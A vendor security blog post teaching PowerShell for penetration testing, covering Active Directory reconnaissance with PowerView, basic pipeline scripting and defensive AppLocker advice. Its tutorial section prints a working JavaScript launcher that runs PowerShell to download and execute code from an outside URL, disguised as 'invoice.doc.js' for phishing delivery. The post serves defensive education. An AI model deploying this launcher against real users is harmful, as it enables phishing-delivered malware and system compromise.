Live Cyber Attack Lab 🎯 Watch our IR team detect & respond to a rogue insider trying to steal data! Choose a Session

X

PowerShell for Pentesters: Scripts and Tips

Data Security

In case you haven’t noticed, we’ve been championing PowerShell as a pen testing tool in more than a few blog posts. One big reason to learn PowerShell and use it to find security holes in your own IT systems is …  that’s exactly what hackers are doing themselves!  They’re leveraging PowerShell to run “file-less” malware, which are non-binary files that can’t easily be detected by anti-virus (AV) solutions.

PowerShell of course has a separate life from penetration testing. Those who want to understand the backstory should check out the famous Monad Manifesto. Written by one of the original developers, the Manifesto explained why Microsoft needed a new scripting language, which would ultimately morph into PowerShell.

To save you from having to peruse the Manifesto, I’ll reveal the motivating factor driving the authors of PowerShell: it was to give system administrators command line access to .Net objects, allowing for automation of system-level workflow that would have otherwise been written in C++ or C#.  If you want real proof of PowerShell’s effectives, ask your sys admins how they bulk add users into Active Directory or do some quick security configuration. You’ll likely find a PowerShell solution.

In short: it’s an amazing productivity booster for admins.

Why Use PowerShell for Pentesting?

Unfortunately, the same ingredients that make for a great automation tool for administrators are useful to hackers and then ultimately pen testers.

For example, perhaps an IT admin has been asked to find out who’s actually using a supposedly under-utilized server. With PowerShell and a library of extra functions known as PowerView, a system admin can quickly see the users currently logged onto a server without having to be directly on the server herself:

With one line of PowerShell code, broken into a Linux-like shell pipeline, a system admin can effortlessly probe a remote server.

However, attackers who’ve already gained entry through a phishing attack can also do the same — they can leverage the same AD capabilities. And their activities would not necessarily be detected: a security analyst monitoring application usage might come to the conclusion that since “it’s just PowerShell, it must be harmless”.

To take this example one step further, hackers can find even more detailed information about individual users with the Get-NetUser command, which dumps all of the user’s AD attributes:

Active Directory has a wealth of user information. And hackers are ready to exploit it.

Unfortunately, companies are often careless about the AD attributes they make accessible — say, home or cell phone, address — to employees. Prior to PowerShell, it would have been far more difficult to gather this AD data, but that’s no longer the case!

What can the attackers do with the AD information? They can easily work out a social engineered attack: perhaps sending an email with just enough personal context gained from the AD attributes to make it appear to come from the help desk asking to “reset a password”.

By the way, you can enforce ACLs on AD attributes, so there’s a way to reduce the risk of this type of attack. And that’s precisely the kind of positive result that can come out of actual penetration testing exercises!

Pen testing conclusion: consider removing “everyone” access for some AD information.

Brief PowerShell Introduction for Pentesters

With PowerShell, attackers can stealthy gather internal user data and exploit it. But there’s no reason why IT security staff can’t master enough PowerShell to start their own pen testing and begin to understand the hacker mindset.

The first key point about PowerShell is that all the old scripts, .bat files, or procedures that you ran from the cmd.exe command prompt still work in the PowerShell console. That’s great news.

The next important point is that unlike Linux-like shells, PowerShell treats everything as an object. Even the output of a command is, wait for it, an object.

For example, enter Get-ChildItem command (or cmdlet in the PS world) into the console, and you’ll see a listing of files in the current directory:

PowerShell Get-ChildItem cmdlet: it’s like “dir” on steroids.

Coding with PowerShell

Suppose you wanted to write a PS script that only lists files over 1M in size— just as a quick way to see if there any storage hogs. This task is a lot harder in a string-oriented output from, say a bash shell. With PowerShell, though, command output is itself an object with attributes.

To see this, just pipe the output of GetChildItem into Get-Member, which tells you the attributes of any PS cmdlet:

Who knew there were so many attributes?

So now we have the identifiers for the two attributes we’re interested in: “length” and “name”, which we can reference programmatically. So far, so good.

To deal with the very common situation where objects are often in arrays or  collections, we use PS’s ForEach operator to iterate through the array. To make things even easier, the alias“%” stands in for “ForEach”, and  “$_” represents the current object.

Running Commands with PowerShell

Let’s recreate just two columns of output from the GetChildItem command based on our new knowledge. The script below is a pipeline with Get-ChildItem feeding the ForEach operator, outputting just the values of the “length” and “name” attributes:

get-childitem| % {write-host $_.length $_.name -separator "`t`t"}

And here’s the output when we run it:

To finish this micro-project, let’s tweak the PS script above to display only large files above, say, 10M. To accomplish this, I use a filter, known as a Where-Object cmdlet, which has the convenient alias of “?”.  It has all the usual comparison operators (-gt, -eq, -lt, etc.). And I can insert this into the middle of the pipeline, so that the script now looks like this:

get-ChildItem| ? {$_.length –gt 10000000 | % {write-host $_.length $_.name -separator "`t`t"}

As an exercise, try running the above scriptware in your own environment.

Tutorial: PowerShell Penetration Testing Example

With that small background in PowerShell, we’re ready to take on a more practical pentesting example. One of the quickest ways to get into pen testing is to use PowerShell to hide a payload — I wrote about how to do this here.

The idea is to sneak the PowerShell into what looks like a standard text file with a .doc suffix. In fact, the file really has a .js suffix, which when clicked will activate the Windows Script Host to run the JavaScript and then launch the embedded PowerShell code.

Confusing, right? But real hackers leverage multiple levels of indirection and obfuscation to hide their attack.

Set up the Launcher and Payload

Here’s what the script looks like:

a=new ActiveXObject('Wscript.Shell');a.Run("powershell -nop -noe -Command IEX (New-Object System.Net.WebClient).DownloadString('https://tinyurl.com/y5nupk4e')",1,true);

You insert the above code into a text file, and rename it to something like invoice.doc.js.  The above JavaScript acts as the launcher, which is implemented with embedded PowerShell commands NetWebClient and Invoke-Expression, which is iselft aliased with “%”.

NetWebClient’s DownloadString method remotely pulls in the actual payload that will ultimately do the malware dirty work. You can supply this method with a URL pointing to your own test malware. The Invoke-Expression cmdlet takes the text of the fake malware file and executes it.

Test it!

In my case, the URL points to a Github project containing a simple PS write-host that will display a  harmless but important message to humankind. In a real-world attack, the script file would be attached to a phish mail that would lure an unsuspecting employee into clicking. And the payload would be far more disruptive.

The joys of pen testing.

You can try this out on your own installation. And if does run successfully, then you have some homework to do.

Benefits of (Even Basic) Penetration Testing

This nicely leads to the reasons you’re doing penetration testing in the first place. Here are three real-world benefits that I’ve come up with:

  1. By learning PowerShell commands as a pen tester, you’ll understand how hackers subvert this amazing next-gen scripting language. Just ponder the combination of DownloadString method and Invoke-Expression, allowing attackers to pull remote malware into the victim’s site without having to store it.
  2. This exercise also highlights the stealthiness of the modern hacker. I’ve shown  with the above example the outline of an attack that doesn’t leave any  files around. So you can’t use standard signature based methods to reliably detect a PowerShell-based attack. There’s no obvious malware signature to trigger on.
  3. You might begin to examine ways to limit PowerShell and other script-based methods. After all, the attack is tarted with a script, so if companies make it more difficult to run scripts, they can greatly reduce their risk profile.

Let me expand on that last point. You don’t want to completely ban PowerShell (or JavaScript) since it’s a fundamental part of Windows system software. Thankfully Microsoft has a way to selectively disable scripting (and other executables) through its AppLocker, an improved version of the older Software Restriction Policies in Group Policies.

This may sound incredible to tech people, but most ordinary users don’t need PowerShell or other scripts to do their jobs. Shocking, I know! AppLocker can be used to disable PowerShell access for the masses while allowing sys admins to still do their work.

Scripting attacks involving an attachment to a phish mail count on the fact that admins have typically given very broad scripting permissions to employees. That doesn’t have to be the case!  To learn more about AppLocker and white-listing techniques in general, check out our amazing Disabling PowerShell and Other Malware Nuisances series.

 

Andy Green

Andy Green

Andy blogs about data privacy and security regulations. He also loves writing about malware threats and what it means for IT security.

 

Does your cybersecurity start at the heart?

Get a highly customized data risk assessment run by engineers who are obsessed with data security.